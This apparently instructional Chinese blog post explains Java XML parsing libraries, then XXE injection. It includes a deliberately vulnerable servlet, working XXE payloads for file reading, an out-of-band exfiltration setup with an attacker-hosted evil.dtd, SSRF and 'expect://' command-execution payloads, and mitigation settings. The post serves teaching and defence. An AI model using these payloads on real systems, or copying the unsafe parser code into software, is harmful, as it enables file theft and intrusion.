一、Java XML解析庫簡介
Java 解析 XML 的四種方式
1、DOM(Document Object Model)解析
1)優缺點
- 優點
- 允許應用程序對數據和結構做出更改
- 訪問是雙向的,可以在任何時候再樹中上、下導航獲取、操作任意部分的數據
- 缺點
- 解析XML文檔的需要加載整個文檔來構造層次結構,消耗內存資源大。
2)應用場景
遍歷能力強,常應用於XML文檔需要頻繁改變的服務中。
3)解析步驟及示例代碼
- 創建一個 DocumentBuilderFactory 對象
- 創建一個 DocumentBuilder 對象
- 通過 DocumentBuilder 的 parse() 方法加載 XML 到當前工程目錄下
- 通過 getElementsByTagName() 方法獲取所有 XML 所有節點的集合
- 遍歷所有節點
- 通過 item() 方法獲取某個節點的屬性
- 通過 getNodeName() 和 getNodeValue() 方法獲取屬性名和屬性值
- 通過 getChildNodes() 方法獲取子節點,並遍歷所有子節點
- 通過 getNodeName() 和 getTextContent() 方法獲取子節點名稱和子節點值
hello.xml
<?xml version="1.0" encoding="UTF-8"?> <bookstore> <book id="1"> <name>天龍八部</name> <author>金庸</author> <year>2014</year> <price>88</price> </book> <book id="2"> <name>鹿鼎記</name> <year>2015</year> <price>66</price> <language>中文</language> </book> <book id="3"> <name>射鵰英雄傳</name> <author>金庸</author> <year>2016</year> <price>44</price> </book> </bookstore>
package xmlparse; import java.io.IOException; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import org.w3c.dom.Document; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import org.xml.sax.SAXException; public class DOMParser { public static void main(String[] args) { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { DocumentBuilder db = dbf.newDocumentBuilder(); Document document = db.parse("./src/data/hello.xml"); NodeList bookList = document.getElementsByTagName("book"); //節點集 int bookCnt = bookList.getLength(); System.err.println("一共獲取到" + bookCnt +"本書"); for(int i=0; i<bookCnt; i++){ Node book = bookList.item(i); NamedNodeMap attrs = book.getAttributes(); for(int j=0; j<attrs.getLength(); j++){ Node attr = attrs.item(j); System.err.println(attr.getNodeName()+"---"+attr.getNodeValue());//id } NodeList childNodes = book.getChildNodes(); for(int k=0; k<childNodes.getLength(); k++){ if(childNodes.item(k).getNodeType() == Node.ELEMENT_NODE){ System.out.println(childNodes.item(k).getNodeName()+"---" + childNodes.item(k).getTextContent()); } } } } catch (ParserConfigurationException | SAXException | IOException e) { e.printStackTrace(); } } }
2、SAX(Simple API for XML)解析
1)優缺點
- 優點
- 不需要等待所有的數據被處理,解析就可以開始
- 只在讀取數據時檢查數據,不需要保存在內存中
- 可以在某一個條件滿足時停止解析,不必要解析整個文檔
- 效率和性能較高,能解析大於系統內存的文檔
- 缺點
- 解析邏輯複雜,需要應用層自己負責邏輯處理,文檔越複雜程序越複雜
- 單向導航,無法定位文檔層次,很難同時同時訪問同一文檔的不同部分數據,不支持 XPath
2)解析步驟及示例代碼
- 獲取一個 SAXParserFactory 的實例
- 通過 factory() 獲取 SAXParser 實例
- 創建一個 handler() 對象
- 通過 parser 的 parse() 方法來解析 XML
package xmlparse; import java.io.IOException; import javax.xml.parsers.ParserConfigurationException; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import org.xml.sax.SAXException; public class SAXTest { public static void main(String[] args) { // 獲取實例 SAXParserFactory factory = SAXParserFactory.newInstance(); try { SAXParser parser = factory.newSAXParser(); SAXParserHandler handler = new SAXParserHandler(); parser.parse("./src/data/hello.xml", handler); System.err.println("共有"+ handler.getBookList().size()+ "本書"); for(Book book : handler.getBookList()){ System.out.println(book.getName()); System.out.println("id=" + book.getId()); System.out.println(book.getAuthor()); System.out.println(book.getYear()); System.out.println(book.getPrice()); System.out.println(book.getLanguage()); } } catch (ParserConfigurationException | SAXException | IOException e) { e.printStackTrace(); } } }
package xmlparse; import java.util.ArrayList; import org.xml.sax.Attributes; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; public class SAXParserHandler extends DefaultHandler { String value = null; Book book = null; private ArrayList<Book> bookList = new ArrayList<Book>(); public ArrayList<Book> getBookList() { return bookList; } /* * XML 解析開始 */ public void startDocument() throws SAXException { super.startDocument(); System.out.println("xml 解析開始"); } /* * XML 解析結束 */ public void endDocument() throws SAXException { super.endDocument(); System.out.println("xml 解析結束"); } /* * 解析 XML 元素開始 */ public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { super.startElement(uri, localName, qName, attributes); if(qName.equals("book")){ book = new Book(); for(int i=0; i<attributes.getLength();i++){ System.out.println(attributes.getQName(i)+"---"+attributes.getValue(i)); if(attributes.getQName(i).equals("id")){ book.setId(attributes.getValue(i)); } } }else if(!qName.equals("bookstore")){ System.out.print("節點名:"+ qName + "---"); } } /* *解析 XML 元素結束 */ public void endElement(String uri, String localName, String qName) throws SAXException { super.endElement(uri, localName, qName); if(qName.equals("book")){ bookList.add(book); book = null; } else if(qName.equals("name")){ book.setName(value); }else if(qName.equals("year")){ book.setYear(value); }else if(qName.equals("author")){ book.setAuthor(value); }else if(qName.equals("price")){ book.setPrice(value); }else if(qName.equals("language")){ book.setLanguage(value); } } public void characters(char[] ch, int start, int length) throws SAXException { super.characters(ch, start, length); // 獲取節點值數組 value = new String(ch, start, length); if(!value.trim().equals("")){ System.out.println("節點值:"+value); } } }
3、JDOM 解析
<dependencies>
<dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom</artifactId>
<version>2.0.2</version>
</dependency>
</dependencies>
1)優缺點
- 特點
- 僅使用具體類,而不使用接口
- API 大量使用了 Collections 類
2)解析步驟及示例代碼
- 創建一個 SAXBuilder 的對象
- 創建一個輸入流,將 xml 文件加載到輸入流中
- 通過 saxBuilder 的 build()方法,將輸入流加載到 saxBuilder 中
- 通過 document 對象獲取 xml 文件的根節點
- 獲取根節點下的子節點的 List 集合
package xmlparse; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List; import org.jdom.Attribute; import org.jdom.Document; import org.jdom.Element; import org.jdom.JDOMException; import org.jdom.input.SAXBuilder; public class JDOMTest { private static ArrayList<Book> booksList = new ArrayList<Book>(); public static void main(String[] args) { SAXBuilder saxBuilder = new SAXBuilder(); InputStream in; try { in = new FileInputStream("./src/data/hello.xml"); InputStreamReader isr = new InputStreamReader(in, "UTF-8"); Document document = saxBuilder.build(isr); Element rootElement = document.getRootElement(); List<Element> bookList = rootElement.getChildren(); for (Element book : bookList) { Book bookEntity = new Book(); List<Attribute> attrList = book.getAttributes(); for (Attribute attr : attrList) { String attrName = attr.getName(); String attrValue = attr.getValue(); System.out.println( attrName + "----" + attrValue); if (attrName.equals("id")) { bookEntity.setId(attrValue); } } // 對book節點的子節點的節點名以及節點值的遍歷 List<Element> bookChilds = book.getChildren(); for (Element child : bookChilds) { System.out.println(child.getName() + "----"+ child.getValue()); if (child.getName().equals("name")) { bookEntity.setName(child.getValue()); } else if (child.getName().equals("author")) { bookEntity.setAuthor(child.getValue()); } else if (child.getName().equals("year")) { bookEntity.setYear(child.getValue()); } else if (child.getName().equals("price")) { bookEntity.setPrice(child.getValue()); } else if (child.getName().equals("language")) { bookEntity.setLanguage(child.getValue()); } } booksList.add(bookEntity); bookEntity = null; System.out.println(booksList.size()); System.out.println(booksList.get(0).getId()); System.out.println(booksList.get(0).getName()); } } catch (IOException e) { e.printStackTrace(); } catch (JDOMException e) { e.printStackTrace(); } } }
4、DOM4J(Document Object Model for Java)解析
<!-- https://mvnrepository.com/artifact/org.dom4j/dom4j --> <dependency> <groupId>org.dom4j</groupId> <artifactId>dom4j</artifactId> <version>2.1.1</version> </dependency>
1)優缺點
- 優點
- 性能很好
- 大量使用 Java 集合類,開發簡便,同時也提供了一些提高性能的代替方法
- 支持 XPath
- 缺點
- API 比較複雜
2)解析步驟及示例代碼
- 創建 SAXReader 的對象 reader
- 通過 reader 對象的 read() 方法加載 xml 文件,獲取 document 對象
- 通過 document 對象獲取根節點 bookstore
- 通過 element 對象的 elementIterator() 獲取迭代器
- 遍歷迭代器,獲取根節點中的信息
- 獲取 book 的屬性名和屬性值
- 通過 book 對象的 elementIterator() 獲取節點元素迭代器
- 遍歷迭代器,獲取子節點中的信息
- 獲取節點名和節點值
package xmlparse; import java.io.File; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import org.dom4j.Attribute; import org.dom4j.Document; import org.dom4j.DocumentException; import org.dom4j.Element; import org.dom4j.io.SAXReader; public class DOM4JTest { public static void main(String[] args) { ArrayList<Book> bookList = new ArrayList<Book>(); SAXReader reader = new SAXReader(); try { Document document = reader.read(new File("./src/data/hello.xml")); Element bookStore = document.getRootElement(); Iterator it = bookStore.elementIterator(); while (it.hasNext()) { Element book = (Element) it.next(); Book bookData = new Book(); List<Attribute> bookAttrs = book.attributes(); for (Attribute attr : bookAttrs) { System.out.println(attr.getName() + "---" + attr.getValue()); if(attr.getName().equals("id")){ bookData.setId(attr.getValue()); } } Iterator itt = book.elementIterator(); while (itt.hasNext()) { Element bookChild = (Element) itt.next(); System.out.println(bookChild.getName()+ "---" + bookChild.getText()); if(bookChild.getName().equals("name")){ bookData.setName(bookChild.getText()); }else if(bookChild.getName().equals("author")){ bookData.setAuthor(bookChild.getText()); }else if(bookChild.getName().equals("year")){ bookData.setYear(bookChild.getText()); }else if(bookChild.getName().equals("price")){ bookData.setPrice(bookChild.getText()); }else if(bookChild.getName().equals("language")){ bookData.setLanguage(bookChild.getText()); } } // 遍歷完一個節點,將該節點信息添加到列表中 bookList.add(bookData); } } catch (DocumentException e) { e.printStackTrace(); } // 輸出保存在內存中XML信息 for(Book book:bookList){ System.out.println(book.getName()); System.out.println("id=" + book.getId()); System.out.println(book.getAuthor()); System.out.println(book.getYear()); System.out.println(book.getPrice()); System.out.println(book.getLanguage()); } } }
參考鏈接:
https://juejin.cn/post/6967175965659103240 https://mvnrepository.com/artifact/org.dom4j/dom4j/2.1.1
二、XXE漏洞基礎
漏洞成因及危害
XXE(XML External Entity)是指XML外部實體攻擊漏洞。XML外部實體攻擊是針對解析XML輸入的應用程序的一種攻擊。當包含對外部實體的引用的XML輸入被弱配置XML解析器處理時,就會發生這種攻擊。這種攻擊通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
很多XML的解析器默認是含有XXE漏洞的,這意味着開發人員有責任確保這些程序不受此漏洞的影響。儘管XXE漏洞已經存在了很多年,但是他從來沒有獲得他應得的關注度。究其原因一方面是對XXE這種利用難度高的漏洞不夠重視,另一方面是XML的存在對互聯網的廣泛影響,以至於他出現任何問題時牽扯涉及到的應用、文檔、協議、圖像等等都需要做相應的更改。
XXE漏洞之所以名爲外部實體漏洞,就是因爲問題主要出自於外部資源的申請以及外部實體的引用這部分特性中。我們從XXE的全稱(XML外部實體注入)可以看出,XXE也是一種XML注入,只不過注入的是XML外部實體罷了。
我們先來了解一下什麼是XML注入,
所謂的XML注入就是在XML中用戶輸入的地方,根據輸入位置上下文的標籤情況,插入自己的XML代碼。
但是如果僅僅只是注入普通的XML內容,那麼這種攻擊的利用面就很窄,現實中幾乎用不到,但是我們可以想到,既然可以插入XML代碼我們爲什麼不能插入XML外部實體呢,如果能注入成功並且成功解析的話,就會大大擴寬我的XML注入的攻擊面了,於是就出現了XXE。
XML相關基礎概念
要了解XXE漏洞,那麼一定要先學習一下有關XML的基礎知識。
XML是一種非常流行的標記語言,在1990年代後期首次標準化,並被無數的軟件項目所採用。它用於配置文件,文檔格式(如OOXML,ODF,PDF,RSS,...),圖像格式(SVG,EXIF標題)和網絡協議(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,...),他應用的如此的普遍以至於他出現的任何問題都會帶來災難性的結果。
1、XML文檔結構
XML被設計爲傳輸和存儲數據,其焦點是數據的內容,是獨立於軟件和硬件的信息傳輸工具。XML文檔有自己的一個格式規範,這個格式規範是由一個叫做DTD(document type definition)的東西控制的,如下:
XML主要由7個部分組成:
- 文檔聲明
- 標籤/元素
- 屬性
- 註釋
- 實體字符
- CDATA 字符數據區。CDATA 指的是不應由 XML 解析器進行解析的文本數據(Unparsed Character Data)。CDATA 部分中的所有內容都會被解析器忽略。CDATA 部分由 “**” 結束,某些文本比如 JavaScript 代碼,包含大量 “<” 或 “&” 字符。爲了避免錯誤,可以將腳本代碼定義爲 CDATA。
- 處理指令
一個標準的XML文件如下,
<!--XML文檔聲明;另外也是一個處理指令,<? xxx ?>就是處理指令的格式--> <?xml version="1.0" encoding="ISO-8859-1"?> <!--bookstore根元素、book子元素--> <bookstore> <!--category、lang都是屬性--> <book category="COOKING"> <title lang="en">Everyday Italian</title> <!--<實體字符 是一個預定義的實體引用,這裏也可以引用dtd中定義的實體,以 & 開頭, 以;結尾--> <author>Giada De Laurentiis<</author> <year>2005</year> <price>30.00</price> <!--script這裏是CDATA,不能被xml解析器解析,可以被JavaScript解析--> <script> <![CDATA[ function matchwo(a,b) { if (a < b && a < 0) then {return 1;} else {return 0;} } ]]> </script> </book> </bookstore>
上面這個DTD定義了XML的根元素是message,然後元素下面還有一些子元素,其中:
- DOCTYPE是DTD的聲明
- ENTITY是實體的聲明,所謂實體可以理解爲變量
- SYSTEM、PUBLIC是外部資源的申請
2、DTD實體聲明方式
從兩個角度可以把XML分爲兩類共4個類型:
- (內部實體、外部實體)
- (通用實體、參數實體)
其中兩大類含有重複的地方。
1)內部實體
所謂內部實體是指在一個實體中定義的另一個實體,也就是嵌套定義。
DTD定義代碼:
引用代碼:
使用&xxe對上面定義的xxe實體進行了引用,到時候輸出的時候&xxe就會被“test”替換。
在XML內部聲明DTD:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT message (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<message>Reminder</message>
</note>
2)外部實體
外部實體表示外部文件的內容,用 SYSTEM 關鍵詞表示,通常使用文件名”>或者public_ID” “文件名”>的形式引用外部實體。有些XML文檔包含system標識符定義的“實體”,這些文檔會在DOCTYPE頭部標籤中呈現。這些定義的’實體’能夠訪問本地或者遠程的內容。假如 SYSTEM 後面的內容可以被攻擊者控制,那麼攻擊者就可以隨意替換爲其他內容,從而讀取服務器本地文件(file:///etc/passwd)或者遠程文件(http://www.baidu.com/abc.txt)。
在XML中引入外部DTD文檔:
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <message>Reminder</message> </note> <!--而note.dtd的內容爲:--> <!ELEMENT note (to,from,message)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT message (#PCDATA)>
3)通用實體
用”&實體名“引用的實體,在DTD中定義,在XML文檔中引用。
4)參數實體
- 使用“% 實體名”(這裏空格不能少)在 DTD 中定義,並且只能在 DTD 中使用“%實體名;”引用
- 只有在DTD文件中,參數實體的聲明才能引用其他實體
- 和通用實體一樣,參數實體也可以外部引用
參考鏈接:
https://gv7.me/articles/2019/java-xxe-bug-fix-right-and-principle/
三、XXE漏洞復現
XXE全稱XML External Entity,XML外部實體注入。通過在XML中聲明DTD外部實體,並在XML中引入,便可以獲取我們想要的數據。
用於測試的payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "/Users/zhenghan/Projects/servlet_xxe_test/web/flag.txt"> ]> <evil>&xxe;</evil>
我們通過web servlet實現解析xml來進行實驗,並討論對應的修復方案。
實驗一:使用DocumentBuilder(原生dom解析xml)復現xxe漏洞及修復方案
我們先寫一個本地xml解析類,驗證測試payload的可用性,
xxe_xml.xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "/Users/zhenghan/Projects/servlet_xxe_test/web/flag.txt"> ]> <evil>&xxe;</evil>
package com.servlet; import java.io.IOException; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import org.w3c.dom.Document; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import org.xml.sax.SAXException; public class DOMParser_vultest { public static void main(String[] args) { try { DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); Document document = documentBuilder.parse("./src/xxe_xml.xml"); String textContent = document.getDocumentElement().getTextContent(); System.out.println(textContent); } catch (Exception e) { e.printStackTrace(); } } }
我們接下來使用servlet方式部署一個xml解析類web應用。servlet開發以及tomcat部署相關細節可以參閱這篇文章。
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>servletTest</servlet-name> <servlet-class>com.servlet.servletTest</servlet-class> </servlet> <servlet-mapping> <servlet-name>servletTest</servlet-name> <url-pattern>/xml_vultest</url-pattern> </servlet-mapping> </web-app>
package com.servlet; import org.w3c.dom.Document; import org.xml.sax.InputSource; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.xml.XMLConstants; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import java.io.BufferedReader; import java.io.IOException; import java.io.PrintWriter; public class servletTest extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doGet(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { postNoFixXxe(req, resp); // postWithFixXxe(req, resp); } private void postNoFixXxe(HttpServletRequest req, HttpServletResponse resp) { try { DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); BufferedReader br = new BufferedReader(req.getReader()); Document document = documentBuilder.parse(new InputSource(br)); // 獲取響應輸出流 PrintWriter writer = resp.getWriter(); String textContent = document.getDocumentElement().getTextContent(); writer.print(textContent); } catch (Exception e) { e.printStackTrace(); } } private void postWithFixXxe(HttpServletRequest req, HttpServletResponse resp) { try { DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); documentBuilderFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); documentBuilderFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); documentBuilderFactory.setAttribute(XMLConstants.FEATURE_SECURE_PROCESSING, true); documentBuilderFactory.setExpandEntityReferences(false); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); BufferedReader br = new BufferedReader(req.getReader()); Document document = documentBuilder.parse(new InputSource(br)); // 獲取響應輸出流 PrintWriter writer = resp.getWriter(); String textContent = document.getDocumentElement().getTextContent(); writer.print(textContent); } catch (Exception e) { e.printStackTrace(); } } }
調用postNoFixXxe
curl -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM "/Users/zhenghan/Projects/servlet_xxe_test/web/flag.txt"> ]> <evil>&xxe;</evil>' -H "Content-Type: application/xml" -X POST http://localhost:8080/servlet_xxe_test_war_exploded/xml_vultest
調用postWithFixXxe
servlet報錯無權限引用外部資源。
修復時通過 builder.setFeature設置外部實體不能方法從而防禦xxe漏洞。
但是需要注意通過setFeature或者setAttribute或者setProperty設置屬性時,一定要注意在解析xml之前就設置,否則修復也是無效的。
參考鏈接:
http://www.java2s.com/Code/Java/JSP/SubmittingTextAreas.htm https://r17a-17.github.io/2021/09/04/Java-XXE%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
四、XXE漏洞危害
1、讀取系統文件,信息泄露
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "/Users/zhenghan/Projects/servlet_xxe_test/web/flag.txt"> ]> <evil>&xxe;</evil>
2、Blind OOB XXE(OoB數據外帶攻擊)
當目標環境無法直接獲得回顯的時候,就可以嘗試進行OOB XXE帶外回顯。
發起這種攻擊,攻擊者需要準備2條帶外通道,
- 一個用於XML發起外部參數實體引用的通道,例如HTTP通道,即攻擊者需要準備一個HTTP服務器,這個服務器上存儲了一個dtd文檔
- 一個用於XML發起外部一般實體引用的通道,例如HTTP通道,即攻擊者需要準備一個HTTP服務器,這個服務器用於接受外部實體引用時帶出的數據信息
存在漏洞的服務端代碼還是沿用上一章存在漏洞的servlet代碼。
攻擊者控制的第一個用於存儲dtd文件的HTTP服務器:
python3 -m http.server 8081
evil.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8081/?collect=%file;'>"> %all;
爲了簡化實驗,攻擊者控制的第二個用於收集帶外信息的服務器和第一個服務器共用。
攻擊載荷如下:
curl -d '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE data [<!ENTITY % file SYSTEM "file:///Users/zhenghan/Projects/servlet_xxe_test/web/flag.txt"><!ENTITY % dtd SYSTEM "http://127.0.0.1:8081/evil.dtd"> %dtd;]><data>&send;</data>' -H "Content-Type: application/xml" -X POST http://localhost:8080/servlet_xxe_test_war_exploded/xml_vultest
- The XML parser first parses the %file parameter entity, loading the file /Users/zhenghan/Projects/servlet_xxe_test/web/flag.txt.
- Next, the XML parser resolves the %dtd parameter entity and makes a request to get the attacker’s DTD file at http://127.0.0.1/evil.dtd.
- After the parser has processed the attacker’s DTD file, the %all parameter entity creates a general entity called &send that contains a URL. This URL uses the %file parameter entity, which was resolved in step 1 and now holds the content of a local file. In this case, this is the content of the Linux /Users/zhenghan/Projects/servlet_xxe_test/web/flag.txt.
- Finally, after the URL is constructed, the XML parser processes the &send XML entity, thus sending a request to the attacker’s server.
- The attacker can log the request on their end and reconstruct the file from the log entry.
3、探測內網端口-SSRF
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE xxe [ <!ENTITY url SYSTEM "http://192.168.116.1:90/" > ]> <xxe>&url;</xxe>
4、執行系統命令
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE xxe [ <!ENTITY url SYSTEM "expect://id" > ]> <xxe>&url;</xxe>
5、作爲中間隧道,通過請求間接攻擊內網網站
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE xxe [ <!ENTITY url SYSTEM "攻擊內網的一個URl,帶上攻擊payload,以實現內網橫向攻擊" > ]> <xxe>&url;</xxe>
6、拓展,不同語言支持的協議
進一步對XXE漏洞分析後,我們可以很清晰地看到我們實際上都是通過file協議讀取本地文件,或者通過http協議發出請求,類比一下其他漏洞例如SSRF,發現這兩種漏洞的利用方式非常相似,因爲他們都是從服務器向另一臺服務器發起請求,所以想要更進一步的利用XXE漏洞我們要清楚在何種平臺可以使用何種協議。
libxml2 | PHP | Java | .NET |
---|---|---|---|
file http ftp |
file http ftp php compress.zlib compress.bzlip2 data glob phar |
file http https ftp jar netdoc mailto gopher |
file http https ftp |
參考鏈接:
https://www.invicti.com/learn/out-of-band-xml-external-entity-oob-xxe/
五、真實XXE CVE漏洞
微信支付SDK XXE漏洞
微信支付SDK在構建了documentBuilder以後對傳進來的strXML直接進行解析,並沒有任何過濾檢查的步驟,同時此處傳入的參數是攻擊者可控的注入點,於是就出現了XXE漏洞。
攻擊代碼:
XXE injection (file disclosure) exploit for Apache OFBiz < 16.11.04
JavaMelody CVE-2018-15531 XXE
spring-data-XMLBean XXE
參考鏈接:
https://github.com/jamieparfet/Apache-OFBiz-XXE/ https://mp.weixin.qq.com/s?__biz=MzA4ODc0MTIwMw==&mid=2652531539&idx=1&sn=82d1f41acc32a0a21dff60b2dfb71421&source=41&poc_token=HJ7QNWWjMPMmvaBbmG_LanKra0vqi73gL1ge4FqB https://blog.spoock.com/2018/05/16/cve-2018-1259/
六、XXE漏洞修復方法
出現XXE漏洞的前提條件往往有如下特徵:
- 是否禁止dtd或者entity
- 參數是否可控
- 傳入參數格式爲REST XML格式,X-RequestEntity-ContentType: application/xml
配置SDK/庫禁用不合理的外部實體引用
使用語言中推薦的禁用外部實體的方法。
1、Java
Java XXE漏洞的修復或預防主要在設置禁止dtd,修復方式也簡單,需要設置幾個選項爲發false
即可,可能少許的幾個庫可能還需要設置一些其他的配置,但是都是類似的。
總體來說修復方式都是通過設置feature的方式來防禦XXE
。
"http://apache.org/xml/features/disallow-doctype-decl", true "http://apache.org/xml/features/nonvalidating/load-external-dtd", false "http://xml.org/sax/features/external-general-entities", false "http://xml.org/sax/features/external-parameter-entities", false XMLConstants.ACCESS_EXTERNAL_DTD, "" XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""
2、PHP
libxml_disable_entity_loader(true);
3、Python
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
關鍵詞過濾
過濾關鍵詞:!ENTITY,或者SYSTEM和PUBLIC。
參考鏈接:
https://blog.spoock.com/2018/10/23/java-xxe/ https://blog.spoock.com/2018/10/23/java-xxe/ https://blog.csdn.net/weixin_42503415/article/details/115100576 https://blog.csdn.net/tryheart/article/details/108421586